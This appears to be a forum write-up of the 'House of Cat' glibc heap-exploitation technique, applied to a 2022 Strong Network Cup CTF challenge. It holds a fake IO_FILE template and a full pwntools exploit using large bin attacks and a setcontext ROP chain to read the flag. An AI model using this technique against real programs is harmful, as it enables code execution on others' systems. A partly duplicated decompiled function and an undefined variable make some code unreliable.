This article is a highlight from the Kanxue Forum
Author ID on Kanxue Forum: CatF1y
House of Cat
Introduction
Exploitation Conditions
Exploitation Principles
IO_FILE Structure and Exploitation
vtable Check
void _IO_vtable_check (void) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){ uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable;}
__malloc_assert and FSOP

static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function){ (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort ();}
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
int _IO_flush_all_lockp (int do_lock){ ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... }}
There are three conditions for FSOP (can return from the main function, the program can execute the exit function, libc executes abort); the third condition has been removed in higher versions; __malloc_assert is triggered in malloc, usually by modifying the size of the top chunk.
A Feasible IO Call Chain
const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue)};
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode){ off64_t result; off64_t delta, new_offset; long int count; if (mode == 0) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));# needs to bypass was_writing check bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF;......}
int _IO_switch_to_wget_mode (FILE *fp){ if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ......}
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
We can see that this is a heap address, and actually at this point rdi is the address of the forged IO structure, which is controllable.
Fake_IO Structure Needs to Bypass Checks
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end_wide_data->_IO_write_ptr > _wide_data->_IO_write_base# If _wide_data=fake_io_addr+0x30, it is also fp->_IO_save_base < f->_IO_backup_basefp->_lock is a writable address (heap address, writable address in libc)
Attack Process
Template
fake_io_addr=heapbase+0xb00 # Address of the forged fake_IO structure next_chain = 0 fake_IO_FILE=p64(rdi) # _flags=rdifake_IO_FILE+=p64(0)*7 fake_IO_FILE +=p64(1)+p64(0) fake_IO_FILE +=p64(fake_io_addr+0xb0)# _IO_backup_base=rdxfake_IO_FILE +=p64(call_addr)# _IO_save_end=call addr(call setcontext/system) fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00') fake_IO_FILE += p64(0) # _chain fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00') fake_IO_FILE +=p64(fake_io_addr+0x30)# _wide_data, rax1_addr fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00') fake_IO_FILE += p64(0) # _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00') fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10 fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
2022 Strong Network Cup House of Cat
Protection and Sandboxing


Analysis


The sub_1A50 function performs format checks on the input cmd; only a return value of 0 allows entry into do_cmd. For clarity, we will present this with code:
__int64 __fastcall sub_1A50(char *a1, __int64 a2){ char *s; // [rsp+18h] [rbp-28h] char *v4; // [rsp+20h] [rbp-20h] char *v5; // [rsp+20h] [rbp-20h] char *v6; // [rsp+20h] [rbp-20h] const char *s2; // [rsp+28h] [rbp-18h] char *v8; // [rsp+30h] [rbp-10h] const char *s1; // [rsp+38h] [rbp-8h] v4 = strstr(a1, "QWB"); if ( !v4 ) return 0LL; // If it contains QWB, otherwise return 0, which means cannot execute do_cmd *v4 = 0; v4[1] = 0; v4[2] = 32; v5 = v4 + 3; s2 = strtok(a1, " "); // Split by space if ( !strcmp("LOGIN", s2) ) { *(_BYTE *)(a2 + 8) = 1; } else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) ) { if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) ) return 0LL; *(_BYTE *)(a2 + 8) = 10; } else { *(_BYTE *)(a2 + 8) = 9; } } else { *(_BYTE *)(a2 + 8) = 8; } } else { *(_BYTE *)(a2 + 8) = 7; } } else { *(_BYTE *)(a2 + 8) = 6; } } else { *(_BYTE *)(a2 + 8) = 5; } } else { *(_BYTE *)(a2 + 8) = 4; } } else { *(_BYTE *)(a2 + 8) = 3; } } else { *(_BYTE *)(a2 + 8) = 2; } v8 = strtok(0LL, " "); if ( v8 != strchr(v8, '|'))// Find the first match of '|' return 0LL; *(_QWORD *)a2 = v8; s1 = strtok(0LL, " "); if ( strcmp(s1, "r00t") ) // Check for the existence of 'r00t' return 0LL; s = v5 + 5; v6 = strstr(v5, "QWXF");// Check for the presence of 'QWXF' if ( !v6 ) return 0LL; *v6 = 0; v6[1] = 0; v6[2] = 0; v6[3] = 32; *(_QWORD *)(a2 + 16) = s; return 1LL;}
__int64 __fastcall sub_1DF3(__int64 a1){ __int64 result; // rax unsigned int v2; // eax char *v3; // [rsp+18h] [rbp-8h] if ( *(_BYTE *)(a1 + 8) == 1 && !strcmp(*(const char **)(a1 + 16), "admin") ) dword_4040[0] = 1;// login result = *(unsigned __int8 *)(a1 + 8); if ( (_BYTE)result == 3 ) { result = (__int64)strtok(*(char **)(a1 + 16), "$" ); v3 = (char *)result; if ( result ) { result = dword_4014;// if ( *v3 == dword_4014 ) { result = dword_4040[0]; if ( dword_4040[0] ) { menu(); v2 = getnumber(); if ( v2 == 4 ) { return edit(); } else { if ( v2 <= 4 ) { switch ( v2 ) { case 3u: return show(); case 1u: return add(); case 2u: return delete(); } } return output("error!\n"); } } } } } return result;}; if ( *v3 == dword_4014 )// dword_4014 checks if it is 0xffffffff { result = dword_4040[0];// dword_4040[0] checks if login if ( dword_4040[0] ) { menu(); v2 = getnumber(); if ( v2 == 4 ) { return edit(); } else { if ( v2 <= 4 ) { switch ( v2 ) { case 3u: return show(); case 1u: return add(); case 2u: return delete(); } } return output("error!\n"); } } } } } return result;}
LOGIN | r00t QWB QWXFadminCAT | r00t QWB QWXF$\xff

The delete function has UAF.
The edit function can only write 48 bytes (to prevent UAF overflow) and only has two chances.
Exploitation
1. Leak libc address and heap address
2. Large bin attack stderr
3. Large bin attack top chunk’s size
4. Forge fake_IO
5. Trigger __malloc_assert, enter _IO_wfile_seekoff, and transfer to _IO_switch_to_wget_mode
6. Execute ROP chain with setcontext
Exploit
from pwn import * p=process('./houseofcat') libc=ELF('./libc.so.6') context.log_level='debug' r = lambda x: p.recv(x) ra = lambda: p.recvall() rl = lambda: p.recvline(keepends=True) ru = lambda x: p.recvuntil(x, drop=True) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) ia = lambda: p.interactive() c = lambda: p.close() li = lambda x: log.info(x) db = lambda: gdb.attach(p) sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin') def add(idx,size,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:\n',str(idx)) sla('plz input your cat size:\n',str(size)) sa('plz input your content:\n',cont) def delete(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(2)) sla('plz input your cat idx:\n',str(idx)) def show(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(3)) sla('plz input your cat idx:\n',str(idx)) def edit(idx,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(4)) sla('plz input your cat idx:\n',str(idx)) sa('plz input your content:\n', cont) #gdb.attach(p,'b* $rebase(0x1DDD)') add(0,0x420,'aaa') add(1,0x430,'bbb') add(2,0x418,'ccc') delete(0) add(3,0x440,'ddd') show(0) ru('Context:\n') libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x21a0d0 info('libc->'+hex(libcbase)) rdi=libcbase+0x000000000002a3e5 rsi=libcbase+0x000000000002be51 rdx=r12=libcbase+0x000000000011f497 ret=libcbase+0x0000000000029cd6 rax=libcbase+0x0000000000045eb0 stderr=libcbase+libc.sym['stderr'] setcontext=libcbase+libc.sym['setcontext'] close=libcbase+libc.sym['close'] read=libcbase+libc.sym['read'] write=libcbase+libc.sym['write'] syscallret=libcbase+libc.search(asm('syscall\nret')).next() p.recv(10) heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x290 info('heap->'+hex(heapaddr)) #fake IO ioaddr=heapaddr+0xb00 next_chain = 0 fake_IO_FILE = p64(0)*4 fake_IO_FILE +=p64(0) fake_IO_FILE +=p64(0) fake_IO_FILE +=p64(1)+p64(0) fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdx fake_IO_FILE +=p64(setcontext+61)#call addr fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00') fake_IO_FILE += p64(0 ) # _chain fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') fake_IO_FILE += p64(heapaddr+0x200) # _lock = writable address fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00') fake_IO_FILE +=p64(heapaddr+0xb30) #rax1 fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00') fake_IO_FILE += p64(0) # _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00') fake_IO_FILE += p64(libcbase+0x2160d0+0x10) # vtable=IO_wfile_jumps+0x10 fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(heapaddr+0xb30+0x10) # rax2 flagaddr=heapaddr+0x17d0 payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret) delete(2) add(6,0x418,payload1) delete(6) #large bin attack stderr pointer edit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20)) add(5,0x440,'aaaaa') add(7,0x430,'flag') add(8,0x430,'eee') #rop payload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write) add(9,0x430,payload) delete(5) add(10,0x450,p64(0)+p64(1)) delete(8) # large bin attack topchunk's size edit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3)) #trigger __malloc_assert sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:',str(11)) gdb.attach(p,'b* (_IO_wfile_seekoff)') sla('plz input your cat size:',str(0x450)) p.interactive()

Conclusion
Kanxue ID: CatF1y
https://bbs.pediy.com/user-home-959842.htm
# Previous Recommendations
1. Implementing a compression shell with some “ingredients” added
2. Formbook unpacking notes
3. CVE-2021-1732 privilege escalation vulnerability study notes
4. Some techniques for analyzing .NET samples with encrypted strings
5. [Security Operations] Simulating the construction of a small enterprise intranet
6. Analysis of Tenda cameras


Share this

Like this

Watching this